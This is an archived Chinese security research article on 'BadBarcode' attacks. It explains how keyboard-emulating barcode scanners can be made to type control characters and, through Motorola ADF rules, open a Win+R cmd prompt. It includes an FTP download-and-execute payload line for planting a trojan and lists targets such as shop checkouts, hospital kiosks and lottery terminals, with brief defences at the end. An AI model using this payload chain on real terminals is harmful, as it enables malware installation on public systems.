# 一维条形码攻击技术(Badbarcode)

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2016-01-19T02:44:00Z
Canonical: https://wepostx.com/topics/37

> 乌云历史资料归档
>
> **原始作者：** 数据流
> **原始编号：** superkieran-wooyundrops:1005
> **原始发布时间：** 2016-01-19 10:44
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

Author:[email protected]

# 0x00 前言

在日常生活中，条形码随处可见，特别在超市，便利店，物流业，但你们扫的条形码真的安全吗？之前TK教主 在PacSec介绍的条形码攻击和twitter上的demo视频太炫酷，所以就自己买了个扫码器自己研究了一下 ，在研究时候也找遍了国内外所有资料，但是都没有对可以执行的攻击技术完整的文章，故有此文分享。 : )

# 0x01 条形码介绍

![原文图片](/media/2016/06/d8796cf3cffabc5577b02b8180b9be91)

条形码(barcode)是将宽度不等的多个黑条和空白，按照一定的编码规则排列，用以表达一组信息的图形标识符。常见的条形码是由反射率相差很大的黑条（简称条）和白条（简称空）排成的平行线图案。
常见的条形码类型有code39 code128 code93 EAN128 EAN13 QR等，前面大部分是一维条形码，而QR则是二维条形码，本文重点针对支持一维条形码的扫码器。其中code128是使用最广泛，支持字符最多的一种类型，一般都利用code128条形码进行攻击。

# 0x02 扫码器介绍

![原文图片](/media/2016/06/2c3f0a4c9186eec1b82793615e9d3a46)

扫码器，大家几乎每天都能看到，在超市付账，物流，医院，彩票等。作用就是把条形码的信息提取出来，而常规的扫码器的工作原理是利用红外线照射，然后反射得出条形码的信息，再用扫描器内置的芯片处理得出结果。国际上常用的扫描器品牌有Symbol，Honeywell，Datalogic等，其中symbol已被摩托罗拉收购。
大家在超市购物付账时候都注意到，商品通过扫描后，商品的编码直接显示在屏幕上，其实很多扫码器都是用keyboard的方式输入的，也就是说一个扫描器就相当于一个键盘，这是一个较大的风险。

![原文图片](/media/2016/06/4ac452ac19bf020f503e217adad4bb73)

# 0x03 Code128条形码

既然知道扫描器是一个keyboard设备，只要控制条形码的数据就可以随意输入键盘数据了。但例如UPC条形码只支持数字，有些则只支持数字与字母，而Code128 是一种广泛使用的条形码类型，因为它支持ASCII 0-127字符，所以叫code128，条形码长度可调，最大支持232个字符。
Code128也分为三种：

- Code128A：标准数字和大写字母，控制符，特殊字符

- Code128B：标准数字和大写字母，小写字母，特殊字符

- Code128C/EAN128：[00]-[99]的数字对集合，共100个，即只能表示偶数位长度的数字。
Code128由四部分组成:起始码，数据码，校验码(可有可无)，结束码

![原文图片](/media/2016/06/84e28b17777d7027bb635ad8d8ad05b6)

如上条形码，黑白相间，且线条粗细不一；由黑色线条(条，Bar)与空白(空，Space)组成，根据粗细程度，可以将以上条形码起始码解读为:211214；第一条黑色竖线是由两个单位的竖线合并组成，而第二条空白竖线即由一个单位的竖线，如此类推。一般前6条的Bar与Space为一个单元。211214 用1,0转成逻辑码就是11010010000，也即是起始码。
起始码对照：

- 128A 11010000100

- 128B 11010010000

- 128C 11010011100
结束码都是统一的1100011101011
根据上面的解读出的逻辑码11010010000，就可以推断上面那个条形码是属于code128-B类型了。

![原文图片](/media/2016/06/e49b32655907b5f2071864771184fdd8)

![原文图片](/media/2016/06/27234ad1ebadc2ae969e1aa555c50ae2)

最后再根据code128的编码表就可以分析出条形码的数据（编码表太长就不贴完了）

# 0x04 控制字符与条形码生成

根据上面分析的code128规则，已经可以自己写出一个读取识别和生成条形码的程序了。而我们是要执行操作，最简单的就是利用控制字符。控制字符即非显示字符，例如回车，换行，制表符等。在ASCII中，0-31和127 就是控制字符。

![原文图片](/media/2016/06/5fa549577d5d681215eedc4c2b5752d9)

根据ASCII的控制字符表，可以看出Ctrl+?的组合键几乎都有了，例如Ctrl+O，也就是打开文件，但这个只是局部快捷组合键，在一些程序中才能应用，例如浏览器，word等等，利用这些控制字符在某些终端可以使程序跳出沙盒。如何生成可以使计算机执行Ctrl+O的条形码？因为已经上面已经介绍过code128的规则算法，自己写程序也可以。网络也有很多条形码生成的小程序，但在这里推荐一个强大的条形码编辑工具：BarTender

![原文图片](/media/2016/06/69001c583198a89448a746f274550370)

下载安装后点击菜单栏“文件”-“新建”-“完成”，就会出现一个空白模板。

![原文图片](/media/2016/06/24b6092b09cb873e698a93abdb2b6001)

然后点击条形码按钮就可以创建自己的条形码，选择code128类型。

![原文图片](/media/2016/06/1bef2d890577cf85f06d5f0eea6f4c0f)

利用BarTender轻松就可以生成出条形码，而且字符可以随时改动，方便调试。扫描上图就验证码后，会输入“FutureSec”，然后输入控制字符Ctrl+O

![原文图片](/media/2016/06/03c1466910eef2167ee3ef7b1a3d6089)

扫码器扫描后立即弹出对话框
市面上基本任何一款扫码器都能执行，因为code128是绝大部分扫码器都支持的。

# 0x05 Advanced Data Formatting（高级数据格式）

Advanced Data Formatting（ADF），高级数据格式。是摩托罗拉针对扫描器开发的一种更高级的数据输入，根据自己的设定一步一步的规则可以自定义输入的数据，也可以说是一种支持编程的条形码技术。
例如，在一个结账系统中，当你对一个商品扫描后，由于该结账系统不能直接对该条形码直接处理，就需要这种技术。结账系统识别码：A12345，前面要A开头；条形码的数据类型：12345 纯数字，想要在这个结账系统中识别就要在输入前进行处理。
再举个例子：
条形码的数据：
8523647122
通过ADF输出的数据：
8523641<Enter>
如何实现ADF？

![原文图片](/media/2016/06/a266644aaec1efd370679d31a9a993b5)

现在网上仍然没有ADF的中文资料，而在外国的网站也寥寥无几，无人问津，但靠tk的ppt中提到的ADF也是一头雾水，因为没有具体技术描述，只是一行字带过。后来找到一份摩托罗拉撰写300多页的ADF指南PDF。
ADF是一种编程，根据自己的需求构建规则，而用的就不是用代码进行编程而是条形码。ADF把所有规则都用条形码表示，例如Perfix/Suffix，Replace，字符输入等。
利用ADF挟持扫描器数据
对扫描器进行ADF设置时要先扫描开始模式，Begin New Rule

![原文图片](/media/2016/06/3f2cc0c96de1e37e2660e8ed9d4095cd)

此后开始扫描的条形码都会被添加规则，前提是规则的逻辑是合法的。
随后依次扫描下列条形码

![原文图片](/media/2016/06/aed7b7075d665770679b891701fc7c1d)

![原文图片](/media/2016/06/101a23034482aeb5398f553a14981a89)

![原文图片](/media/2016/06/7557589b1c11bfef1052dd7e0a012f34)

![原文图片](/media/2016/06/21be429842c50b889fc80dc9d5f54b8e)

然后Save Rule

![原文图片](/media/2016/06/40bf1c26c0e29f8038521f699dfbab67)

当Save Rule，扫描器的输出数据都会被挟持成“TEST”，当你设置了ADF时，就会把你的规则按流程一步一步执行。
如何恢复？

![原文图片](/media/2016/06/92e3196f1ae1eb5943336e0564ceac02)

扫描清除所有规则条形码即可。

# 0x06 利用ADF执行命令，种植木马

由于单凭控制字符无法执行命令，而ADF支持简单的编程和更多的键，利用ADF可以轻松执行系统命令。由于ADF支持很多键，例如最有用的WIN+R。

![原文图片](/media/2016/06/a644df06441800b927c6afe10dfcd3fe)

在ADF中称为GUI R，既然知道了可以WIN+R的键，利用上面的规则就可以弹出cmd执行了。但这样还是不行，因为输入的是由系统自动输入，速度是手打无法可比的，当你执行到GUI R，再执行"c","m","d"，win+r的对话框还没有出来就已经输入了cmd，所有要延时，而ADF就支持，相当于编程中的sleep()。

![原文图片](/media/2016/06/8262454060e47f9a52f710843418d7ee)

在录ADF规则时，扫描延时后要输入两个Numeric，例如依次0和1两个码，就代表延时0.1秒，0和5就代表0.5秒，默认是延时1秒。
知道这些ADF条形码后就可以构建弹出cmd，然后再利用控制字符执行命令，主要是Enter。但如果要按照以上这么搞的话，仅是弹出一个cmd窗口就要十多个条形码了，也就是说扫描器要扫十多次。可以先看看腾讯玄武实验室的demo视频：
[https://twitter.com/tombkeeper/status/663730674017300480](https://twitter.com/tombkeeper/status/663730674017300480)
视频中用了一叠条形码，依次扫描，扫描了十多次就出来个cmd，可能这与扫描器型号也有关系。

![原文图片](/media/2016/06/8fb3a4377418f492ba988c28d7d9a6c6)

这样的话不管是规则生成和利用都非常繁琐，其实是可以优化的，ADF的规则可以合并。利用motorola的扫描器软件123scan。

![原文图片](/media/2016/06/877ebdd4e45854862ad86accdb14984c)

123scan是摩托罗拉官方出品非常强大的扫描器管理软件，在其官网可以下载。功能很多，在这里就介绍利用123scan设置ADF。
打开后点击"Create new configuration file"->"My scanner is NOT connected"->选择扫描器->"Mondify data"->"Program complex data modifications"->"Create a new rule"。

![原文图片](/media/2016/06/91afc234ae1ed6ad45cfe9299f5eac7d)

点击Add action就是添加规则。

![原文图片](/media/2016/06/93781bad430e83df1acea82fdca09a6d)

ADF所有规则都在里面，包括Beep控制（控制扫描器蜂鸣），Replace等。

![原文图片](/media/2016/06/6a7f1e00f6841aadc7ad585916bfd1a2)

设置延时0.5秒，依次添加规则。

![原文图片](/media/2016/06/35417ef9bcb6c0cfadb8e7e6ed227804)

最后会自动合并条形码并输出。

![原文图片](/media/2016/06/200825bb5347ed3cdb8315d237355fdd)

以上就是执行任意命令的条形码payload，除去1和2的设置出厂设置和清除所有规则，只需要4个条形码就可以执行任意单条命令。其中Send ALL that remains是代表设置ADF后扫描条形码的原本数据。 以上四组条形码的ADF流程是:输入WIN+R键->延时0.5秒->输入c键->输入m键->输入d键->输入回车->延时0.5秒->执行条形码的内容，而随后的Send ALL that remains就是你要执行的命令，可以多行命令，要是单行命令基本上4条就够不需要加Send ALL that remains。
利用ADF种植木马
既然已经可以执行cmd命令，最简单的方法就是利用ftp下载执行任意程序。上面提到的Send ALL that remains可以用BarTender生成出FTP命令。

![原文图片](/media/2016/06/ebdeede58095eaeb4dd8154757756d95)

```text
#!bash ftp test«CR»a«CR»a«CR»get w.exe«CR»bye«CR»w.exe«CR»get w.exe«CR»bye«CR»w.exe«CR»
```
下面给出我们的demo视频，是已经经过扫描四次ADF设置后。不管扫描什么条形码执行到Send ALL that remains。视频中是利用FTP命令执行。
（测试型号Symbol-LS4208-SR20001ZZR）
[http://v.youku.com/v_show/id_XMTQ0ODY0ODg1Ng==.html?from=y1.7-1.2](http://v.youku.com/v_show/id_XMTQ0ODY0ODg1Ng==.html?from=y1.7-1.2)
密码:wooyun520

# 0x07 攻击场景

简单总结一下可能存在攻击的场景地点:
1.商店付款

![原文图片](/media/2016/06/f627d1b4adf029a28c59866cff02cc8d)

直接把条形码替换到商品；很多便利店支持微信，支付宝二维码支付，扫描器也支持多个类型条形码，可以直接把条形码存在手机中，让其扫描；有些大型百货有资助价格查询终端，只要用特殊的条形码到终端一扫就能跳出终端。
2.医院病历，检验单

![原文图片](/media/2016/06/865eb038df5a6fec1a81c2516baa160c)

现在医院的挂号，病历都会有个条形码，直接到医院自主终端或直接递给护士扫描；去医院都知道，有资助出检验单的终端，只要一扫就会单子，基本每个医院都有了。

![原文图片](/media/2016/06/70569d4ff6a04ede46902cc5a10ecf4b)

3.彩票

![原文图片](/media/2016/06/a16aca6cbd7118fbc0d85b7456636b28)

彩票自身都会有条形码，兑换彩票就凭靠条形码到机器识别，所以伪造或对检验机进行攻击还是有可能，彩票终端类型这么多。

![原文图片](/media/2016/06/bcb2f097f5c7b0d9e5c808bfac064025)

4.快递单子

![原文图片](/media/2016/06/fa23695487916c2804ffe21a7839e009)

快递都有条形码，一般是code128或者code39类型。在一些快递自助取件柜，和快递小哥扫描的时候或许会出现风险。

![原文图片](/media/2016/06/f640d6ef87a2d2c426e5fd884b836dcb)

。。。。。。
场景很多就不一一列举了，以上场景有空我会逐一分析。

# 0x08 防范方法

- 扫码器默认不要开启ADF功能

- 扫描器尽量不要使用键盘模拟

- 设置热键黑名单

# 0x09 总结

一维条形码攻击的概念在国外很多年前就有提出了，但是没人深入研究。利用条形码也可能出现SQL注射，XSS，溢出等攻击。
无论什么设备，只要能控制一部分输入，就存在风险！

# 0x0A 参考文献

- [http://www.appsbarcode.com/code%20128.php](http://www.appsbarcode.com/code%20128.php) Code 128 條碼．編碼規則

- [http://www.slideshare.net/mobile/PacSecJP/hyperchem-ma-badbarcode-en1109nocommentfinal](http://www.slideshare.net/mobile/PacSecJP/hyperchem-ma-badbarcode-en1109nocommentfinal) PacSecJP-badbarcode-tk

## Replies
